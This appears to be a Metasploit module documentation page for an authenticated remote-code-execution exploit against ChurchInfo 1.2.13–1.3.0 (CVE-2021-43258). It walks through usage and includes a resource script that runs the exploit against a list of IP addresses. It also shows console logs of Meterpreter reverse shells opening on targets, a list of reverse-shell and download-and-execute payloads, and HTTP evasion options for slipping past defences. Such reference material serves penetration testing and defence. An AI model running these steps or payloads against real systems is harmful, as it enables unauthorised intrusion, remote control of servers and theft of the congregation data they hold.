ChurchInfo 1.2.13-1.3.0 Authenticated RCE - Metasploit


This page contains detailed information about how to use the exploit/multi/http/churchinfo_upload_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ChurchInfo 1.2.13-1.3.0 Authenticated RCE
Module: exploit/multi/http/churchinfo_upload_exec
Source code: modules/exploits/multi/http/churchinfo_upload_exec.rb
Disclosure date: 2021-10-30
Last modification time: 2022-11-18 18:04:51 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-43258

This module exploits the logic in the CartView.php page when crafting a draft email with an attachment. By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and then browsing to the location of the uploaded PHP file on the web server, arbitrary code execution as the web daemon user (e.g. www-data) can be achieved.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • REPEATABLE_SESSION: The module is expected to get a shell every time it runs.

Stability:

  • CRASH_SAFE: Module should not crash the service.

Side Effects:

  • ARTIFACTS_ON_DISK: Modules leaves a payload or a dropper on the target machine.
  • IOC_IN_LOGS: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Using churchinfo_upload_exec against a single host

Normally, you can use exploit/multi/http/churchinfo_upload_exec this way:

msf > use exploit/multi/http/churchinfo_upload_exec
msf exploit(churchinfo_upload_exec) > show targets
    ... a list of targets ...
msf exploit(churchinfo_upload_exec) > set TARGET target-id
msf exploit(churchinfo_upload_exec) > show options
    ... show and set options ...
msf exploit(churchinfo_upload_exec) > exploit

Using churchinfo_upload_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your churchinfo_upload_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/churchinfo_upload_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


  • Project Homepage: http://www.churchdb.org/
  • Project Download: https://sourceforge.net/projects/churchinfo/files/

ChurchInfo is an open source PHP application used to help churches manage systems and users of the church. There are various vulnerabilities in the ChurchInfo software which can be exploited by an attacker, however this module targets an authenticated remote code execution (RCE) vulnerability known as CVE-2021-43258 to execute code as the web daemon user (e.g. www-data).

ChurchInfo v1.2.13, v1.2.14, and v1.3.0 contain functionality to email users listed in the ChurchInfo database with attachments. When preparing the email, a draft of the attachment is saved into /tmp_attach/, which is a web accessible folder under the ChurchInfo web root. Before the email is sent, the attachment draft can be loaded in the application. By uploading a malicious PHP file as an attachment and then browsing to it on the web server, RCE can be achieved.

This vulnerability was assigned CVE-2021-43258. Version 1.3.0 was the latest version of ChurchInfo at the time of writing and there is presently no known patch for this issue.

Installation

Installation guides are available on the SourceForge site at https://sourceforge.net/projects/churchinfo/files/.

The following however is a quick and easy way to get most versions of ChurchInfo up and running using Docker, which should make it a lot easier to setup and also clean up once you are finished testing things out.

  1. wget https://master.dl.sourceforge.net/project/churchinfo/churchinfo/1.3.0/churchinfo-1.3.0.tar.gz
  2. tar -xvf churchinfo-1.3.0.tar.gz
  3. sudo docker run -i -t -p "9090:80" -v ${PWD}/churchinfo:/app mattrayner/lamp:0.8.0-1804-php7.
  4. sudo docker ps -a and find the container ID that was created and which is now running.
  5. sudo docker exec -it *container ID* /bin/bash
  6. Inside the new prompt:
  7. mysqladmin -u root -p create churchinfo and press the ENTER key when prompted for the password.
  8. cd /app/churchinfo/SQL
  9. mysql -u root -p churchinfo < Install.sql and press the ENTER key when prompted for the password.
  10. apt-get install nano if you want to use Nano.
  11. nano /app/churchinfo/Include/Config.php.
  12. Set the $sUSER variable to 'root'.
  13. Set the $sPASSWORD variable to ''.
  14. Set the $sRootPath variable to '/churchinfo'. This should be default though.
  15. Set the $URL[0] to http://localhost/churchinfo/Default.php.
  16. Exit out of nano and run /etc/init.d/apache2 restart
  17. Log in at http://127.0.0.1:9090/churchinfo/Default.php with the username Admin and password churchinfoadmin.
  18. This should cause the app to redirect to a password change form.
  19. Specify the old password, aka churchinfoadmin and then specify the new password twice and submit the form.
  20. Go to http://127.0.0.1:9090/churchinfo/PersonEditor.php and fill out the form with as much detail as possible.
  21. Click "Save and Add".

Verification Steps


This module requires authenticated access to the application. After identifying a vulnerable ChurchInfo application, there MUST be a person entry available within the database. If there are no person entries within the database, it will not be possible to create a draft email. This draft email will be used to place the malicious attachment into the /tmp_attach directory for our exploit.

  1. Start msfconsole
  2. use exploit/multi/http/churchinfo_upload_exec
  3. Set the target RHOST, APPBASE, USERNAME, and PASSWORD values.
  4. Optional: Set the target RPORT if the ChurchInfo server is running on a different port than port 80.
  5. Optional: set SSL true if the target is using SSL for ChurchInfo.
  6. Select the payload of choice or leave default.
  7. Set the LHOST to your system.
  8. Run the exploit with run, enjoy the shell!

Options


There are a handful of options which can be used to further configure the attack or other environmental uses.

USERNAME

The username of a valid user account for the ChurchInfo application. Default is admin.

PASSWORD

The password for a valid user account for the ChurchInfo application. Default is churchinfoadmin based on documentation.

APPBASE

The base directory path to the ChurchInfo application. This can and will likely vary depending on how the application was installed. Default value is /churchinfo/.

EMAIL_SUBJ

The subject of the draft email used for the exploit, the email is not sent. Default value is Read this now!.

EMAIL_MESG

The message on the draft email which is used for the exploit. The email is not sent. Default value is Hello there!.

Scenarios


If there are no person entries in the database, the exploit will fail. To help troubleshoot, enable verbose mode with the following:

set verbose true

This will enable additional information and details about the exploit as it is launched.

ChurchInfo v1.3.0 with MySQL 5.7.35 on Ubuntu Linux 18.04.2 LTS (Docker Image)

msf6 > use exploit/multi/http/churchinfo_upload_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090
RPORT => 9090
msf6 exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123
PASSWORD => testing123
msf6 exploit(multi/http/churchinfo_upload_exec) > show options

Module options (exploit/multi/http/churchinfo_upload_exec):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EMAIL_MESG  Hello there!     yes       Email message in webapp
   EMAIL_SUBJ  Read this now!   yes       Email subject in webapp
   PASSWORD    testing123       yes       Password to login with
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT       9090             yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /churchinfo/     yes       The location of the ChurchInfo app
   USERNAME    admin            yes       Username for ChurchInfo application
   VHOST                        no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.30.182.196   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0
LHOST => docker0
msf6 exploit(multi/http/churchinfo_upload_exec) > run

[*] Started reverse TCP handler on 172.18.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Target is ChurchInfo!
[+] The target is vulnerable. Target is running ChurchInfo 1.3.0!
[+] Logged into application as admin
[*] Navigating to add items to cart
[+] Items in Cart: Items in Cart: 2
[+] Uploading exploit via temp email attachment
[+] Exploit uploaded to /churchinfo/tmp_attach/ueNYs9.php
[+] Executing payload with GET request
[*] Sending stage (39927 bytes) to 172.18.0.2
[+] Deleted ueNYs9.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:37790) at 2022-11-18 17:44:31 -0600


meterpreter > getpid
Current pid: 452
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : 8eeaa82293b4
OS          : Linux 8eeaa82293b4 5.15.0-53-generic #59-Ubuntu SMP Mon Oct 17 18:53:30 UTC 2022 x86_64
Meterpreter : php/linux
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the multi/http/churchinfo_upload_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/churchinfo_upload_exec

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/churchinfo_upload_exec) > show info

       Name: ChurchInfo 1.2.13-1.3.0 Authenticated RCE
     Module: exploit/multi/http/churchinfo_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-10-30

Provided by:
  m4lwhere <[email protected]>

Module side effects:
 ARTIFACTS_ON_DISK
 IOC_IN_LOGS

Module stability:
 CRASH_SAFE

Module reliability:
 REPEATABLE_SESSION

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting

Check supported:
  Yes

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  EMAIL_MESG  Hello there!     yes       Email message in webapp
  EMAIL_SUBJ  Read this now!   yes       Email subject in webapp
  PASSWORD    churchinfoadmin  yes       Password to login with
  Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT       80               yes       The target port (TCP)
  SSL         false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI   /churchinfo/     yes       The location of the ChurchInfo app
  USERNAME    admin            yes       Username for ChurchInfo application
  VHOST                        no        HTTP server virtual host

Payload information:

Description:
  This module exploits the logic in the CartView.php page when 
  crafting a draft email with an attachment. By uploading an 
  attachment for a draft email, the attachment will be placed in the 
  /tmp_attach/ folder of the ChurchInfo web server, which is 
  accessible over the web by any user. By uploading a PHP attachment 
  and then browsing to the location of the uploaded PHP file on the 
  web server, arbitrary code execution as the web daemon user (e.g. 
  www-data) can be achieved.

References:
  http://www.churchdb.org/
  http://sourceforge.net/projects/churchinfo/
  https://nvd.nist.gov/vuln/detail/CVE-2021-43258

View the full module info with the info -d command.

Module Options


This is a complete list of options available in the multi/http/churchinfo_upload_exec exploit:

msf6 exploit(multi/http/churchinfo_upload_exec) > show options

Module options (exploit/multi/http/churchinfo_upload_exec):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EMAIL_MESG  Hello there!     yes       Email message in webapp
   EMAIL_SUBJ  Read this now!   yes       Email subject in webapp
   PASSWORD    churchinfoadmin  yes       Password to login with
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /churchinfo/     yes       The location of the ChurchInfo app
   USERNAME    admin            yes       Username for ChurchInfo application
   VHOST                        no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.126    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


View the full module info with the info, or info -d command.

Advanced Options


Here is a complete list of advanced options supported by the multi/http/churchinfo_upload_exec exploit:

msf6 exploit(multi/http/churchinfo_upload_exec) > show advanced

Module advanced options (exploit/multi/http/churchinfo_upload_exec):

   Name                     Current Setting                               Required  Description
   ----                     ---------------                               --------  -----------
   AllowNoCleanup           false                                         no        Allow exploitation without the possibility of cleaning up files
   AutoCheck                true                                          no        Run check before exploit
   ContextInformationFile                                                 no        The information file that contains context information
   DOMAIN                   WORKSTATION                                   yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                          no        Conform to IIS, should work for most servers. Only set to false for non-IIS serve
                                                                                    rs
   DisablePayloadHandler    false                                         no        Disable the handler code for the selected payload
   EnableContextEncoding    false                                         no        Use transient context when encoding payloads
   FileDropperDelay                                                       no        Delay in seconds before attempting cleanup
   FingerprintCheck         true                                          no        Conduct a pre-exploit fingerprint verification
   ForceExploit             false                                         no        Override check result
   HttpClientTimeout                                                      no        HTTP connection and receive timeout
   HttpPassword                                                           no        The HTTP password to specify for authentication
   HttpRawHeaders                                                         no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                         no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                       no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                         no        Show HTTP headers only in HttpTrace
   HttpUsername                                                           no        The HTTP username to specify for authentication
   SSLServerNameIndication                                                no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                          yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate
                                                                                    ) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent                Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv  no        The User-Agent header to use for all requests
                            :97.0) Gecko/20100101 Firefox/97.0
   VERBOSE                  false                                         no        Enable detailed status messages
   WORKSPACE                                                              no        Specify the workspace for this module
   WfsDelay                 2                                             no        Additional delay in seconds to wait for a session

Payload advanced options (php/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugBuild        false            no        Use a debug version of Meterpreter
   MeterpreterDebugLogging                       no        The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meter
                                                           preter-Debugging-Meterpreter-Sessions
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOS
                                                           T
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

View the full module info with the info, or info -d command.

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/churchinfo_upload_exec module can exploit:

msf6 exploit(multi/http/churchinfo_upload_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/churchinfo_upload_exec exploit:

msf6 exploit(multi/http/churchinfo_upload_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/generic/custom                                       normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                                 normal  No     Interact with Established SSH Connection
   4   payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   5   payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   6   payload/php/bind_perl                                        normal  No     PHP Command Shell, Bind TCP (via Perl)
   7   payload/php/bind_perl_ipv6                                   normal  No     PHP Command Shell, Bind TCP (via perl) IPv6
   8   payload/php/bind_php                                         normal  No     PHP Command Shell, Bind TCP (via PHP)
   9   payload/php/bind_php_ipv6                                    normal  No     PHP Command Shell, Bind TCP (via php) IPv6
   10  payload/php/download_exec                                    normal  No     PHP Executable Download and Execute
   11  payload/php/exec                                             normal  No     PHP Execute Command
   12  payload/php/meterpreter/bind_tcp                             normal  No     PHP Meterpreter, Bind TCP Stager
   13  payload/php/meterpreter/bind_tcp_ipv6                        normal  No     PHP Meterpreter, Bind TCP Stager IPv6
   14  payload/php/meterpreter/bind_tcp_ipv6_uuid                   normal  No     PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   15  payload/php/meterpreter/bind_tcp_uuid                        normal  No     PHP Meterpreter, Bind TCP Stager with UUID Support
   16  payload/php/meterpreter/reverse_tcp                          normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   17  payload/php/meterpreter/reverse_tcp_uuid                     normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   18  payload/php/meterpreter_reverse_tcp                          normal  No     PHP Meterpreter, Reverse TCP Inline
   19  payload/php/reverse_perl                                     normal  No     PHP Command, Double Reverse TCP Connection (via Perl)
   20  payload/php/reverse_php                                      normal  No     PHP Command Shell, Reverse TCP (via PHP)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/churchinfo_upload_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/churchinfo_upload_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-r
                                                            andom)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target did not respond to a request to its login page!


Here is a relevant code snippet related to the "Target did not respond to a request to its login page!" error message:

70:	        'Path' => target_uri.path
71:	      }
72:	    )
73:	
74:	    unless res
75:	      return CheckCode::Unknown('Target did not respond to a request to its login page!')
76:	    end
77:	
78:	    # Check if page title is the one that ChurchInfo uses for its login page.
79:	    if res.body.match(%r{<title>ChurchInfo: Login</title>})
80:	      print_good('Target is ChurchInfo!')

Target is not running ChurchInfo!


Here is a relevant code snippet related to the "Target is not running ChurchInfo!" error message:

77:	
78:	    # Check if page title is the one that ChurchInfo uses for its login page.
79:	    if res.body.match(%r{<title>ChurchInfo: Login</title>})
80:	      print_good('Target is ChurchInfo!')
81:	    else
82:	      return CheckCode::Safe('Target is not running ChurchInfo!')
83:	    end
84:	
85:	    # Check what version the target is running using the upgrade pages.
86:	    res = send_request_cgi(
87:	      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),

Target is running ChurchInfo 1.3.0!


Here is a relevant code snippet related to the "Target is running ChurchInfo 1.3.0!" error message:

87:	      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
88:	      'method' => 'GET'
89:	    )
90:	
91:	    if res && (res.code == 500 || res.code == 200)
92:	      return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
93:	    end
94:	
95:	    res = send_request_cgi(
96:	      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
97:	      'method' => 'GET'

Target is running ChurchInfo 1.2.14!


Here is a relevant code snippet related to the "Target is running ChurchInfo 1.2.14!" error message:

96:	      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
97:	      'method' => 'GET'
98:	    )
99:	
100:	    if res && (res.code == 500 || res.code == 200)
101:	      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
102:	    end
103:	
104:	    res = send_request_cgi(
105:	      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
106:	      'method' => 'GET'

Target is running ChurchInfo 1.2.13!


Here is a relevant code snippet related to the "Target is running ChurchInfo 1.2.13!" error message:

105:	      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
106:	      'method' => 'GET'
107:	    )
108:	
109:	    if res && (res.code == 500 || res.code == 200)
110:	      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
111:	    else
112:	      return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
113:	    end
114:	  end
115:	

Target is not running a vulnerable version of ChurchInfo!


Here is a relevant code snippet related to the "Target is not running a vulnerable version of ChurchInfo!" error message:

107:	    )
108:	
109:	    if res && (res.code == 500 || res.code == 200)
110:	      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
111:	    else
112:	      return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
113:	    end
114:	  end
115:	
116:	  #
117:	  # The exploit method attempts a login, adds items to the cart, then creates the email attachment.

<PEER> - Unable to reach the ChurchInfo login page (response code: <RES.CODE>)


Here is a relevant code snippet related to the "<PEER> - Unable to reach the ChurchInfo login page (response code: <RES.CODE>)" error message:

137:	      'keep_cookies' => true
138:	    )
139:	
140:	    # Ensure we get a 200 from the application login page
141:	    unless res && res.code == 200
142:	      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
143:	    end
144:	
145:	    # Check that we actually are targeting a ChurchInfo server.
146:	    unless res.body.match(%r{<title>ChurchInfo: Login</title>})
147:	      fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')

Target is not a ChurchInfo!


Here is a relevant code snippet related to the "Target is not a ChurchInfo!" error message:

142:	      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
143:	    end
144:	
145:	    # Check that we actually are targeting a ChurchInfo server.
146:	    unless res.body.match(%r{<title>ChurchInfo: Login</title>})
147:	      fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
148:	    end
149:	
150:	    # Grab our assigned session cookie
151:	    cookie = res.get_cookies
152:	    vprint_good("PHP session cookie is #{cookie}")

<PEER> - Check if credentials are correct (response code: <RES.CODE>)


Here is a relevant code snippet related to the "<PEER> - Check if credentials are correct (response code: <RES.CODE>)" error message:

163:	      }
164:	    )
165:	
166:	    # A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
167:	    unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
168:	      fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
169:	    end
170:	    vprint_good("Location header is #{res.headers['Location']}")
171:	    print_good("Logged into application as #{datastore['USERNAME']}")
172:	    vprint_status('Attempting exploit')
173:	

<PEER> - Unable to add items to cart via HTTP GET request to SelectList.php (response code: <RES.CODE>)


Here is a relevant code snippet related to the "<PEER> - Unable to add items to cart via HTTP GET request to SelectList.php (response code: <RES.CODE>)" error message:

184:	
185:	    # Need to check that items were successfully added to the cart
186:	    # Here we're looking through html for the version string, similar to:
187:	    # Items in Cart: 2
188:	    unless res && res.code == 200
189:	      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
190:	    end
191:	    cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
192:	    unless cart_items
193:	      fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
194:	    end

<PEER> - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?


Here is a relevant code snippet related to the "<PEER> - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?" error message:

188:	    unless res && res.code == 200
189:	      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
190:	    end
191:	    cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
192:	    unless cart_items
193:	      fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
194:	    end
195:	    if cart_items['cart'].to_i < 1
196:	      print_error('No items in cart detected')
197:	      fail_with(Failure::UnexpectedReply,
198:	                'Failure to add items to cart, no items were detected. Check if there are person entries in the application')

No items in cart detected


Here is a relevant code snippet related to the "No items in cart detected" error message:

191:	    cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
192:	    unless cart_items
